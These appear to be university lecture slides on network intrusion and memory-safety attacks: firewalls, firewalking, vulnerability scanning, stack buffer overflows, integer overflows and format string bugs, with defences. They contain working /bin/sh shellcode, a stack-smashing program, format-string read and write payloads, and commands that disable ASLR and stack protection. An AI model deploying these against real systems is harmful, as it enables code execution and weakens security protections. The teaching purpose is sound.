Quick Announcements

• HW 2 posted with extended due date
• HW Rubrics + Grading Inquiries
• Quick note on Traceroute
Introduction to Security
Luis Garcia
USC CSCI 430

Module 13 – Intrusions – Firewalls, Vulnerability Scanning, Buffer Overflows
(Ch 6.9, 8.1, 9.1-9.3, 10.1, 10.2)
Recap: Intrusion Phases

- Reconnaissance – Mod 12
- Scanning – Mod 12, Mod 13 (Today)
- Initial Access – Mod 13 (Today)
- Achieving Intrusion Goal
- Maintaining Access
- Covering Tracks
Firewalls (Ch 9.1, 9.2)

• Single entry/exit point to/from a network
  – Convenient to monitor traffic and detect security events
  – Convenient way to implement one policy for all machines on the network

• Also single point of failure

• Could be bypassed by a smart attacker

• Does nothing for insider attacks

• May not be able to address all attacks
  – Works best for attacks, which have clear signatures
Firewall Flavors (Ch 9.3)

• Allow some traffic and deny the rest or deny some traffic and allow the rest
• Rules are usually matched in order, and the first match applies
• Flavors:
  – Packet filters – stateless
  – Stateful
  – Application-level proxy
  – Circuit-level proxy
Firewall Flavor: Packet Filters

- Match each packet based on its IP and transport header fields and direction
- No concept of connections or application info

<table>
<thead>
<tr>
<th>Rule</th>
<th>Src IP</th>
<th>Src port</th>
<th>Dst IP</th>
<th>Dst port</th>
<th>Proto</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>any</td>
<td>&gt;1023</td>
<td>1.2.3.4</td>
<td>25</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>2</td>
<td>1.2.3.4</td>
<td>25</td>
<td>any</td>
<td>&gt;1023</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>3</td>
<td>any</td>
<td>&lt;=1023</td>
<td>1.2.3.0/24</td>
<td>any</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>4</td>
<td>1.2.3.0/24</td>
<td>any</td>
<td>any</td>
<td>&lt;=1023</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>5</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>Deny</td>
</tr>
</tbody>
</table>

2 policy decisions:
- Traffic from external clients should be able to reach a mail server (port 25)
- Traffic from internal clients should be able to communicate with external servers
Firewall Flavor: Stateful Firewall

- Match packets based on them being part of flows
- Able to talk about TCP flow state (e.g., NEW, ESTABLISHED..)
- Keep and update state for each flow

<table>
<thead>
<tr>
<th>Rule</th>
<th>State</th>
<th>Src IP</th>
<th>Src port</th>
<th>Dst IP</th>
<th>Dst port</th>
<th>Proto</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>NEW, EST</td>
<td>any</td>
<td>&gt;1023</td>
<td>1.2.3.4</td>
<td>25</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>2</td>
<td>EST</td>
<td>1.2.3.4</td>
<td>25</td>
<td>any</td>
<td>&gt;1023</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>3</td>
<td>EST</td>
<td>any</td>
<td>&lt;=1023</td>
<td>1.2.3.0/24</td>
<td>any</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>4</td>
<td>NEW, EST</td>
<td>1.2.3.0/24</td>
<td>any</td>
<td>any</td>
<td>&lt;=1023</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>5</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>Deny</td>
</tr>
</tbody>
</table>
Firewall Flavor: Application Proxy

- Acts as server to the outside clients, and as a client to inside servers
- Receive, analyze and rebuild *application sessions*
- Can inspect application level data and payload
- Can normalize application traffic
  - To deal with unpatched vulnerabilities
Firewall Flavor: Circuit-Level Proxy

• Acts as server to the outside clients, and as a client to inside servers
• Receive, analyze and rebuild transport connections
• Does not inspect application level data nor payload
  – Usually the case for firewalls,
• Usually used to allow internal users to reach outside after authentication
Firewall vs. NAT

- Both used for network security, but serve different purpose
  - Defenses against intrusions, network mapping, scanning
- Can be implemented in similar ways (hardware or software)

<table>
<thead>
<tr>
<th>Rule</th>
<th>State</th>
<th>Src IP</th>
<th>Src port</th>
<th>Dst IP</th>
<th>Dst port</th>
<th>Proto</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>NEW, EST</td>
<td>any</td>
<td>&gt;1023</td>
<td>1.2.3.4</td>
<td>25</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>2</td>
<td>EST</td>
<td>1.2.3.4</td>
<td>25</td>
<td>any</td>
<td>&gt;1023</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>3</td>
<td>EST</td>
<td>any</td>
<td>&lt;=1023</td>
<td>1.2.3.0/24</td>
<td>any</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>4</td>
<td>NEW, EST</td>
<td>1.2.3.0/24</td>
<td>any</td>
<td>any</td>
<td>&lt;=1023</td>
<td>TCP</td>
<td>Allow</td>
</tr>
<tr>
<td>5</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>any</td>
<td>Deny</td>
</tr>
</tbody>
</table>

Firewall
- Block unauthorized access attempts
- Restrict access to certain types of traffic
- Allow only approved traffic to enter/leave network

NAT
- Enables private IP addresses
- Rules for external networks to see public IP address
- Can act as basic form of firewall, but doesn’t have advanced security features, e.g. deep packet inspection
Firewalk: Determining Firewall Rules

• Find out firewall rules for new connections (stateful) or for all packets (packet filter)
• We don’t care about target machine, just about packet types that can get through the firewall
  – Find out distance to firewall using traceroute
  – Send custom packets to arbitrary destination setting TTL=distance+1
  – If you receive ICMP_TIME_EXCEEDED message, the packet went through – now you know firewall lets in that type of packets
Defenses Against Firewalking

• Filter out outgoing ICMP traffic
  – ICMP traffic can leak info about network and “liveness” of machines
  – Only useful for network diagnostics

• Use firewall proxies
  – This defense works because a proxy recreates each packet including the Time-to-live (TTL) field
  – The destination host would have to be set up to ignore messages that are not allowed
Vulnerability Scanning

- Sending potential exploits to target hosts and seeing if they worked or not
- The attacker knows OS and applications installed on live hosts
- They can now find for each combination
  - Vulnerability exploits
  - Common configuration errors
  - Default configuration
- Vulnerability scanning tool uses a database of known vulnerabilities to generate packets
- Vulnerability scanning is also used for sysadmin
Vulnerability Scanning Tools

- SARA
  - http://www-arc.com/sara
- SAINT
  - http://www.saintcorporation.com
- Nessus
  - http://www.nessus.org
Defenses: Vulnerability Scanning

• Close your ports and keep systems patched
• Find your vulnerabilities before the attackers do
At The End Of Scanning Phase

- Attacker has a list of “live” IP addresses
- Open ports and applications at live machines
- Some information about OS type and version of live machines
- Some information about application versions at open ports
- Information about network topology
- Information about firewall configuration
Phase 3: Initial Access

- Exploit vulnerabilities
  - Exploits for a specific vulnerability can be downloaded from hacker sites
  - Skilled hackers write new exploits

What is a vulnerability?
What is an exploit?
Control-flow Hijacking

• Attacker’s goal: take over the victim system
  – E.g. Home gateway
  – Execute arbitrary code by hijacking application control flow

• Approach: exploit bugs!
  – Buffer overflow
  – Integer overflow
  – Format string vulnerabilities
  – Double free
  – Use after free
  – and many more...

• Most common: Buffer overflow bug
  – Present in C/C++ programs in abundance
Buffer Overflow Attacks (Ch 10.1)

• A buffer in the code can store limited amount of data
• When more data is supplied from user input the buffer is overrun
  – User data overwrites some other area in memory, adjacent to the buffer
  – Can crash the application, pollute its data or cause run-time control to execute commands from user input
• Buffer could be located on the stack, heap or data section of the process
• This attack is specific to lower-level languages – assembly and C
  – Higher level languages restrict data types/operations but at the cost of efficiency/expressiveness
Programs and Processes
Function Calls and Stack Frames
The stack

```c
void foo(int a, int b, int c)
{
    char buf1[5];
    char buf2[10];
    ...
}

void main()
{
    foo(1, 2, 3);
}
```
digression: x86 tutorial

pushl %ebp: Pushes ebp onto the stack.

movl %esp,%ebp: Moves the current value of esp to the register ebp.

subl $0x4,%esp: Subtract 4 (hex) from value of esp

call 0x8000470 <function>: Calls the function at address 0x8000470. Also pushes the return address onto the stack.

movl $0x1,0xfffffffffc(%ebp): Move 0x1 into the memory pointed to by ebp - 4

leal 0xfffffffffc(%ebp),%eax: Load address of the memory location pointed to by ebp -4 into eax

ret: Return. Jumps to return address saved on stack.
nop
The stack

```c
void main() {
    function(1, 2, 3);
}

pushl $3
pushl $2
pushl $1
call function
```
void main() {
    function(1, 2, 3);
}

pushl $3
pushl $2
pushl $1
call function

pushl %ebp
movl %esp, %ebp
subl $20, %esp
Stack Buffer Overflow

• occurs when buffer is located on stack
  – used by Morris Worm
  – “Smashing the Stack” paper popularized it

• have local variables below saved frame pointer and return address
  – hence overflow of a local buffer can potentially overwrite these key control items

• attacker overwrites return address with address of desired code
  – program, system library or loaded in buffer
Stack Buffer Overflow Concept

```c
#include <string.h>

void foo (char *bar)
{
    char c[12];
    strcpy(c, bar); // no bounds checking
}

int main (int argc, char **argv)
{
    foo(argv[1]);
    return 0;
}
```

Before data is copied.

https://en.wikipedia.org/wiki/Stack_buffer_overflow
Stack Buffer Overflow Concept

```
#include <string.h>

void foo (char *bar) {
    char c[12];
    strcpy(c, bar); // no bounds checking
}

int main (int argc, char **argv) {
    foo(argv[1]);
    return 0;
}
```

"hello" is the first command line argument.

https://en.wikipedia.org/wiki/Stack_buffer_overflow
#include <string.h>

void foo (char *bar)
{
    char c[12];
    strcpy(c, bar);  // no bounds checking
}

int main (int argc, char **argv)
{
    foo(argv[1]);
    return 0;
}

"A A A A A A A A A A A A A A A A A A A A \x08 \x35 \xC0 \x80" is the first command line argument.

https://en.wikipedia.org/wiki/Stack_buffer_overflow
A benign buffer overflow

This program causes a segfault. Why?
Exploiting Stack Bufferflow in Linux

Suppose code contains a function:

```c
void func(char *str) {
    char buf[128];
    strcpy(buf, str);
    do-something(buf);
}
```

When `func()` is called stack looks like:
Exploiting Stack Bufferflow in Linux

What if \*str is 136 bytes long?

```c
void func(char *str) {
    char buf[128];
    strcpy(buf, str);
    do-something(buf);
}
```

After `strcpy`:

```
argument: str
return address
stack frame pointer
char buf[128]
```

Problem:

no length checking in `strcpy()`
Suppose \*str is such that

after strcpy stack looks like:

Program P: exec("/bin/sh")

When func() exits, the user gets shell!

Note: attack code P runs in stack.
Exploiting Stack Bufferflow in Linux

Problem: how does attacker determine ret-address?

Solution: NOP slide

- Guess approximate stack state when `func()` is called
- Insert many NOPs before program P:
  
  ```
  nop, xor eax,eax, inc ax
  ```
Several Methods of Crafting Payload Code

• Example:
  – Generate Assembly code (may be better just to write payload in assembly)
  – Generate associated binary instructions
  – Make sure endian order is correct for hex values of binary instructions!
Writing an exploit program

```c
#include <stdio.h>
void main() {
    char *name[2];

    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```
```
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xffffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xffffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xffffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
```
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
Basic requirements.

- Have null terminated “/bin/sh” in memory
- Have address of this string in memory followed by null long word
- Copy 0xb into eax → 0xb is used for system calls
- Copy address of string into ebx
- Copy address of sting into ecx
- Copy address of null long word into edx
- Execute int $0x80 (system call)
Attack payload.

```
movl  string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
```

Where in the memory space of the process will this be placed? Use relative addressing!
Attack payload.

```
jmp offset-to-call  # 2 bytes
popl %esi  # 1 byte
movl %esi,array-offset(%esi)  # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi)  # 7 bytes
movl $0xb,%eax  # 5 bytes
movl %esi,%ebx  # 2 bytes
leal array-offset,(%esi),%ecx  # 3 bytes
leal null-offset(%esi),%edx  # 3 bytes
int $0x80  # 2 bytes
movl $0x1, %eax  # 5 bytes
movl $0x0, %ebx  # 5 bytes
int $0x80  # 2 bytes
call offset-to-popl  # 5 bytes
/bin/sh string goes here.
```
Hex representation of code.

```c
char shellcode[] = 
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c
\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"
;

void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
```

Use gdb (or any disassembler) to create this!
A stack smashing attack

```c
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xef\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];
void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer, large_string);
}
```
Example Shellcode

```assembly
nop
nop                     // end of nop sled
jmp    find             // jump to end of code
cont:   pop    %esi             // pop address of sh off stack into %esi
        xor    %eax,%eax        // zero contents of EAX
        mov    %al,0x7(%esi)    // copy zero byte to end of string sh (%esi)
        lea    (%esi),%ebx      // load address of sh (%esi) into %ebx
        mov    %ebx,0x8(%esi)    // save address of sh in args[0] (%esi+8)
        mov    %eax,0xc(%esi)    // copy zero to args[1] (%esi+c)
        mov    $0xb,%al         // copy execve syscall number (11) to AL
        mov    %esi,%ebx        // copy address of sh (%esi) to %ebx
        lea    0x8(%esi),%ecx    // copy address of args (%esi+8) to %ecx
        lea    0xc(%esi),%edx    // copy address of args[1] (%esi+c) to %edx
        int    $0x80            // software interrupt to execute syscall
find:   call   cont             // call cont which saves next address on stack
sh:     .string "/bin/sh "      // string constant
args:   .long 0                 // space used for args array
        .long 0                 // args[1] and also NULL for env array
```

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
Opportunities, Complications and Details

• Many unsafe function in libc
  – strcpy (char *dest, const char *src)
  – strcat (char *dest, const char *src)
  – gets (char *s)
  – scanf (const char *format, ... ) and many more.

• But some practical issues
  – Program P should not contain the ‘\0’ character.
  – Overflow should not crash program before func() exit.
  – Finding buffer overflows
    • Run code on local machine
    • Issue malformed requests (ending with “$$$$$$” )
    • Automated fuzzing
    • If code crashes, search core dump for “$$$$$$” to find overflow location

• Challenges increasing due to modern defenses
Corrupting Method Pointers

- Compiler generated function pointers (e.g. C++ code)

- After overflow of buf:

  - NOP slide
  - shell code

Object T

buf[256] vtable

ptr

data

FP1
FP2
FP3

method #1
method #2
method #3
More Attack Opportunities: Integer Overflows

• See http://phrack.org/issues/60/10.html

• Problem: what happens when int exceeds max value?

<table>
<thead>
<tr>
<th>int m; (32 bits)</th>
<th>short s; (16 bits)</th>
<th>char c; (8 bits)</th>
</tr>
</thead>
<tbody>
<tr>
<td>$c = 0x80 + 0x80 = 128 + 128$</td>
<td>$s = 0xff80 + 0x80$</td>
<td>$m = 0xffffffff80 + 0x80$</td>
</tr>
<tr>
<td>$\Rightarrow c = 0$</td>
<td>$\Rightarrow s = 0$</td>
<td>$\Rightarrow m = 0$</td>
</tr>
</tbody>
</table>

• Can an attacker exploit this?
void func( char *buf1, *buf2, unsigned int len1, len2) {

    char temp[256];

    if (len1 + len2 > 256) {return -1} // length check

    memcpy(temp, buf1, len1); // cat buffers

    memcpy(temp+len1, buf2, len2);

    do-something(temp); // do stuff

    What if len1 = 0x80, len2 = 0xffffffff80 ??

    ⇒ len1+len2 = 0

    Second memcpy() will overflow heap !!
More Attack Opportunities: Format String Problem

```c
int func(char *user) {
    fprintf(stderr, user);
}
```

**Problem:** what if `*user = "%s%s%s%s%s%s%s"`?

- Most likely program will crash: DoS attack
- If not, program will print memory contents. Privacy?
- Full exploit using `user = "%n"

**Correct form:** `fprintf(stdout, "%s", user);`

Vulnerable Functions: Any function using a format string.

**Printing:** printf, fprintf, sprintf, ...

  vprintf, vfprintf, vsprintf, ...

**Logging:** syslog, err, warn
More Attack Opportunities: Format String Problem

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    printf(argv[1]); // user controls the format
    printf("\n");
}
```

```
user@si485H-base:demo$ ./format_error "Hello World"
Hello World
user@si485H-base:demo$ ./format_error "Go Navy"
Go Navy
user@si485H-base:demo$ ./format_error "%x"
b7fff000
```
More Attack Opportunities: Format String Problem

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv)
{
    int count_one, count_two;

    printf("The number of bytes written up to this point X\n is being stored in count_one, "
           "and the number of bytes up to here X\n is being stored in count_two.\n", 
           &count_one,&count_two);

    printf("count_one: %d\n", count_one);
    printf("count_two: %d\n", count_two);

    return 0;
}
```

Uncommon formats such as %n enable writing to arbitrary memory
void foo( ... ){
    //...
    printf("Format this: %d! And this: %s! And this too: %x", i, str, j);
    //...
}
Breaking down the Format String Problem

```c
void foo( ... ){
   //...
   printf("Format this: %d! And this: %s! And this too: %x"); //<---
   //...
}
```

What happens when we remove the args?
How to exploit format string problems?

• Dumping arbitrary memory:
  – Walk up stack until desired pointer is found.
  – printf( “%08x.%08x.%08x.%08x|%s|”)

• Writing to arbitrary memory:
  – printf( “hello %n”, &temp)  --  writes ‘6’ into temp.
  – printf( “%08x.%08x.%08x.%08x.%n”)
Platform Defense Mechanisms

• Broad category of approaches:
  – **Detection**
    • e.g. detect that a stack buffer overflow has occurred and thus prevent redirection of the instruction pointer to malicious code
  – **Prevention**
    • e.g. type-safe languages, verification tools
    • e.g. prevent execution of malicious code from the stack without directly detecting the stack buffer overflow.
  – **Randomization**
    • e.g. make the memory space layout random such that finding executable code becomes unreliable.

• Examples
  – Stack canaries, Bounds checking
  – Nonexecutable stack
  – Randomization of stack layout
  – Run-time libraries: StackGuard, LibSafe
  – Safe languages: Rust, Java
  – Automated tools: Coverity, Prefast/Prefix
Making Memory Non-executable

• Prevent attack code execution by marking stack and heap as non-executable
  – NX bit in every Page Table Entry (PTE)

• Available on all major OS
  – Linux; Windows (“data execute prevention”), OS C, OpenBSD etc.

• Embedded systems
  – Often do not have virtual memory
  – But code memory and data memory are often anyways separate...

• Limitations:
  – Some apps need executable heap (e.g. JITs).
  – Does not defend against Return-to-Lib-C/Return-Oriented Programming exploits

Note:
Disable stack protections with GCC compiler options: -fno-stack-protector -fno-stack-protector-all
First-Iteration: Return-to-Lib-C Attacks

- Control hijacking without executing code
  - so NX is just ineffective
Second Iteration: Return-Oriented Programming

- There are tools that exist that will analyze a binary and generate gadgets for you: [msfrop from Metasploit](https://medium.com/@nikhilh20/return-oriented-programming-rop-chaining-def0677923ad)
Randomization

• ASLR: Address Space Layout Randomization
  – Map shared libraries to rand location in process memory
    ⇒ Attacker cannot jump directly to exec function

• Deployment: available on all major OS
  – Windows 7: 8 bits of randomness for DLLs
    • aligned to 64K page in a 16MB region ⇒ 256 choices
  – Windows 8: 24 bits of randomness on 64-bit processors

• Other randomization methods:
  – Sys-call randomization: randomize sys-call id’s
  – Instruction Set Randomization (ISR)

Note:
Disable ASLR with “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space”

0 – No randomization. Everything is static.
1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.
2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.
ASLR Example

Note: everything in process memory must be randomized

stack, heap, shared libs, base image
Stack Canaries: Run-time tests for stack integrity

- Placing a small integer randomly chosen at program start, in memory just before the stack return pointer

- Most buffer overflows overwrite memory from lower to higher addresses
  - So, in order to overwrite the return pointer (and thus take control of the process) the canary value must also be overwritten.

- This value is checked to make sure it has not changed before a routine uses the return pointer on the stack.

- Provided by tools such as StackGuard
Canary Types

• **Random canary:**
  – Random string chosen at program startup.
  – Insert canary string into every stack frame.
  – Verify canary before returning from function.
    • Exit program if canary changed.
    • Turns potential exploit into DoS.
  – To corrupt, attacker must learn current random string.

• **Terminator canary:**  
  Canary = \{0, newline, linefeed, EOF\}
  – String functions will not copy beyond terminator.
  – Attacker cannot use string functions to corrupt stack.
What if can’t recompile: Libsafe

- Libsafe (Avaya Labs)
  - Dynamically loaded library (no need to recompile app.)
  - Intercepts calls to strcpy (dest, src)
    - Validates sufficient space in current stack frame:
      $$|\text{frame-pointer} - \text{dest}| > \text{strlen(src)}$$
    - If so, does strcpy. Otherwise, terminates application
More methods ...

- **StackShield**
  - At function prologue, copy return address RET and SFP to “safe” location (beginning of data segment)
  - Upon return, check that RET and SFP is equal to copy.
  - Implemented as assembler file processor (GCC)
- **Control Flow Integrity (CFI)**
  - A combination of static and dynamic checking
  - Statically determine program control flow
  - Dynamically enforce control flow integrity
- **Control Flow Guard (CFG) (Windows 10):** Poor man’s version of CFI
  - Protects indirect calls by checking against a bitmask of all valid function entry points in executable

```
rep stosd
    mov    esi, [esi]  ; Target
    mov    ecx, esi
    push   1
    call   @guard_check_icall@4
    _guard_check_icall(x)
call    esi
    add    esp, 4
    xor    eax, eax
```

ensures target is the entry point of a function
Stack Buffer Overflows

• How does an attacker discover Buffer overflow?
  – Looks at the source code
  – Runs application on his machine, tries to supply long inputs and looks at system registers

• Read more at
  – http://insecure.org/stf/smashstack.html

Table 10.2 Some Common Unsafe C Standard Library Routines

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>gets(char *str)</td>
<td>read line from standard input into str</td>
</tr>
<tr>
<td>sprintf(char *str, char *format, ...)</td>
<td>create str according to supplied format and variables</td>
</tr>
<tr>
<td>strcat(char *dest, char *src)</td>
<td>append contents of string src to string dest</td>
</tr>
<tr>
<td>strcpy(char *dest, char *src)</td>
<td>copy contents of string src to string dest</td>
</tr>
<tr>
<td>vsprintf(char *str, char *fmt, va_list ap)</td>
<td>create str according to supplied format and variables</td>
</tr>
</tbody>
</table>
Defense Summary:
Stack Overflows (Ch 10.2)

- For system administrators:
  - Apply patches, keep systems up-to-date
  - Disable execution from the stack
  - Monitor writes on the stack
  - Store return address somewhere else
  - Monitor outgoing traffic

- For software designers
  - Apply checks for buffer overflows
  - Use safe functions
  - Static and dynamic code analysis
Recap

• Intrusions Phase 2: Scanning (Cont’d)
  – Firewalls and attacks
  – Different flavors of firewalls
  – At the end of the scan
• Intrusions Phase 3: Initial Access
  – Overview
  – Buffer overflows and defense
• Next time:
  – Network-level attacks
  – Maintaining access (backdoors)
  – Covering tracks